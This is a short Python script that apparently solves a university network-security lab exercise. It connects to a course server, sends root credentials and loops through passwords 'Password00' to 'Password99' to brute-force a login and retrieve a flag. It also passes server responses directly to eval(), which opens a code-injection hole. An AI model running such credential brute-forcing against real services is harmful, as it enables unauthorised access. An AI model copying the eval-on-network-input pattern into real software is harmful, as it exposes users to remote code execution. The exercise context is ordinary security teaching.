import socket
import time
# Fill in the right target here
HOST = 'netsec.net.in.tum.de'  # TODO
PORT = 64984  # TODO

def gen_crends():
    credentials = "root,Password00"
    return credentials

def get_flag():
    credentials  = "root,Password19"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    sf = s.makefile('rw')  # we use a file abstraction for the sockets
    print(sf.readline().rstrip('\n'))
    sf.write("{}\n".format(credentials))
    sf.flush()
    data  = sf.readline().rstrip('\n')
    print(data)
    response = eval(data)
    sf.write("{}\n".format(response))
    sf.flush()
    print(sf.readline().rstrip('\n'))
    flag  = sf.readline().rstrip('\n')
    return flag


def find_port_get_flag():
    for i in range(100):
        time.sleep(1)
        credentials  = "root,Password"+str("%02d" % i)
        print(credentials)
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))
            sf = s.makefile('rw')  # we use a file abstraction for the sockets
            print(sf.readline().rstrip('\n'))
            sf.write("{}\n".format(credentials))
            sf.flush()
            data  = sf.readline().rstrip('\n')
            answer = eval(data)
            sf.write("{}\n".format(answer))
            sf.flush()
            print(sf.readline().rstrip('\n'))
        except:
            pass
            

if __name__ == '__main__':
    print(get_flag())